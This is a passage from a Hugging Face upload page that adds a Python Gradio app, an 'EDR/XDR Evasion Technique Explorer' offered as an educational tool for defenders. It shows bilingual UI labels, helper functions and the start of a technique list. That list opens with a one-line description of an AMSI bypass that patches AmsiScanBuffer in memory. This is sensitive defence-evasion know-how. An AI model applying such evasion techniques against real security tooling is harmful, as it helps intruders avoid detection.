Upload app.py with huggingface_hub
Browse files
app.py
ADDED
|
@@ -0,0 +1,1972 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
EDR/XDR Evasion Technique Explorer
|
| 3 |
+
Educational platform for cybersecurity professionals.
|
| 4 |
+
Powered by AYI-NEDJIMI Consultants - https://ayinedjimi-consultants.fr
|
| 5 |
+
"""
|
| 6 |
+
|
| 7 |
+
import gradio as gr
|
| 8 |
+
import plotly.graph_objects as go
|
| 9 |
+
import pandas as pd
|
| 10 |
+
import json
|
| 11 |
+
|
| 12 |
+
# ---------------------------------------------------------------------------
|
| 13 |
+
# Translations
|
| 14 |
+
# ---------------------------------------------------------------------------
|
| 15 |
+
TR = {
|
| 16 |
+
"title": {
|
| 17 |
+
"fr": "Explorateur de Techniques d\u2019\u00c9vasion EDR/XDR",
|
| 18 |
+
"en": "EDR/XDR Evasion Technique Explorer",
|
| 19 |
+
},
|
| 20 |
+
"subtitle": {
|
| 21 |
+
"fr": "Plateforme \u00e9ducative pour professionnels de la cybers\u00e9curit\u00e9",
|
| 22 |
+
"en": "Educational platform for cybersecurity professionals",
|
| 23 |
+
},
|
| 24 |
+
"tab_browser": {"fr": "Navigateur de Techniques", "en": "Technique Browser"},
|
| 25 |
+
"tab_detection": {"fr": "Ing\u00e9nierie de D\u00e9tection", "en": "Detection Engineering"},
|
| 26 |
+
"tab_comparison": {"fr": "Comparaison EDR", "en": "EDR Comparison"},
|
| 27 |
+
"tab_simulation": {"fr": "Planificateur de Simulation", "en": "Attack Simulation Planner"},
|
| 28 |
+
"tab_resources": {"fr": "Ressources", "en": "Resources"},
|
| 29 |
+
"category": {"fr": "Cat\u00e9gorie", "en": "Category"},
|
| 30 |
+
"difficulty": {"fr": "Difficult\u00e9", "en": "Difficulty"},
|
| 31 |
+
"all": {"fr": "Toutes", "en": "All"},
|
| 32 |
+
"description": {"fr": "Description", "en": "Description"},
|
| 33 |
+
"mitre": {"fr": "Mapping MITRE ATT&CK", "en": "MITRE ATT&CK Mapping"},
|
| 34 |
+
"pseudocode": {"fr": "Pseudocode (\u00e9ducatif)", "en": "Pseudocode (educational)"},
|
| 35 |
+
"detection": {"fr": "M\u00e9thode de d\u00e9tection", "en": "Detection Method"},
|
| 36 |
+
"countermeasure": {"fr": "Contre-mesure d\u00e9fensive", "en": "Defensive Countermeasure"},
|
| 37 |
+
"select_technique": {"fr": "S\u00e9lectionnez une technique", "en": "Select a technique"},
|
| 38 |
+
"select_scenario": {"fr": "S\u00e9lectionnez un sc\u00e9nario", "en": "Select a scenario"},
|
| 39 |
+
"sysmon_ids": {"fr": "Sysmon Event IDs \u00e0 surveiller", "en": "Sysmon Event IDs to Monitor"},
|
| 40 |
+
"kql_query": {"fr": "Requ\u00eate KQL (Microsoft Defender)", "en": "KQL Query (Microsoft Defender)"},
|
| 41 |
+
"sigma_rule": {"fr": "R\u00e8gle Sigma", "en": "Sigma Rule"},
|
| 42 |
+
"yara_rule": {"fr": "R\u00e8gle YARA", "en": "YARA Rule Snippet"},
|
| 43 |
+
"edr_config": {"fr": "Configuration EDR recommand\u00e9e", "en": "Recommended EDR Configuration"},
|
| 44 |
+
"scenario_plan": {"fr": "Plan de simulation", "en": "Simulation Plan"},
|
| 45 |
+
"evasion_needed": {"fr": "Techniques d\u2019\u00e9vasion n\u00e9cessaires", "en": "Evasion Techniques Needed"},
|
| 46 |
+
"detection_gaps": {"fr": "Lacunes de d\u00e9tection \u00e0 tester", "en": "Detection Gaps to Test"},
|
| 47 |
+
"purple_team": {"fr": "Exercice Purple Team", "en": "Purple Team Exercise"},
|
| 48 |
+
"expected_alerts": {"fr": "Alertes EDR attendues", "en": "Expected EDR Alerts"},
|
| 49 |
+
"disclaimer": {
|
| 50 |
+
"fr": (
|
| 51 |
+
"Ce contenu est strictement \u00e9ducatif et destin\u00e9 aux professionnels "
|
| 52 |
+
"de la cybers\u00e9curit\u00e9 pour am\u00e9liorer les d\u00e9fenses."
|
| 53 |
+
),
|
| 54 |
+
"en": (
|
| 55 |
+
"This content is strictly educational and intended for cybersecurity "
|
| 56 |
+
"professionals to improve defenses."
|
| 57 |
+
),
|
| 58 |
+
},
|
| 59 |
+
}
|
| 60 |
+
|
| 61 |
+
|
| 62 |
+
def t(key, lang):
|
| 63 |
+
return TR.get(key, {}).get(lang, key)
|
| 64 |
+
|
| 65 |
+
|
| 66 |
+
# ---------------------------------------------------------------------------
|
| 67 |
+
# Difficulty helpers
|
| 68 |
+
# ---------------------------------------------------------------------------
|
| 69 |
+
DIFF_COLORS = {
|
| 70 |
+
"Easy": "#2ecc71",
|
| 71 |
+
"Medium": "#f39c12",
|
| 72 |
+
"Hard": "#e74c3c",
|
| 73 |
+
"Expert": "#8e44ad",
|
| 74 |
+
}
|
| 75 |
+
|
| 76 |
+
DIFF_FR = {"Easy": "Facile", "Medium": "Moyen", "Hard": "Difficile", "Expert": "Expert"}
|
| 77 |
+
|
| 78 |
+
|
| 79 |
+
def diff_label(d, lang):
|
| 80 |
+
if lang == "fr":
|
| 81 |
+
return DIFF_FR.get(d, d)
|
| 82 |
+
return d
|
| 83 |
+
|
| 84 |
+
|
| 85 |
+
def diff_badge(d, lang):
|
| 86 |
+
color = DIFF_COLORS.get(d, "#95a5a6")
|
| 87 |
+
label = diff_label(d, lang)
|
| 88 |
+
return (
|
| 89 |
+
f'<span style="background:{color};color:#fff;padding:2px 10px;'
|
| 90 |
+
f'border-radius:8px;font-weight:bold">{label}</span>'
|
| 91 |
+
)
|
| 92 |
+
|
| 93 |
+
|
| 94 |
+
# ---------------------------------------------------------------------------
|
| 95 |
+
# Technique database (25+ techniques)
|
| 96 |
+
# ---------------------------------------------------------------------------
|
| 97 |
+
TECHNIQUES = [
|
| 98 |
+
# ---- Memory Evasion ----
|
| 99 |
+
{
|
| 100 |
+
"id": "amsi-bypass",
|
| 101 |
+
"category": "Memory Evasion",
|
| 102 |
+
"name": {"en": "AMSI Bypass", "fr": "Contournement AMSI"},
|
| 103 |
+
"difficulty": "Medium",
|
| 104 |
+
"mitre": "T1562.001 - Disable or Modify Tools",
|
| 105 |
+
"desc": {
|
| 106 |
+
"en": "Patches the AmsiScanBuffer function in memory to prevent script scanning by the Antimalware Scan Interface.",
|
| 107 |
+
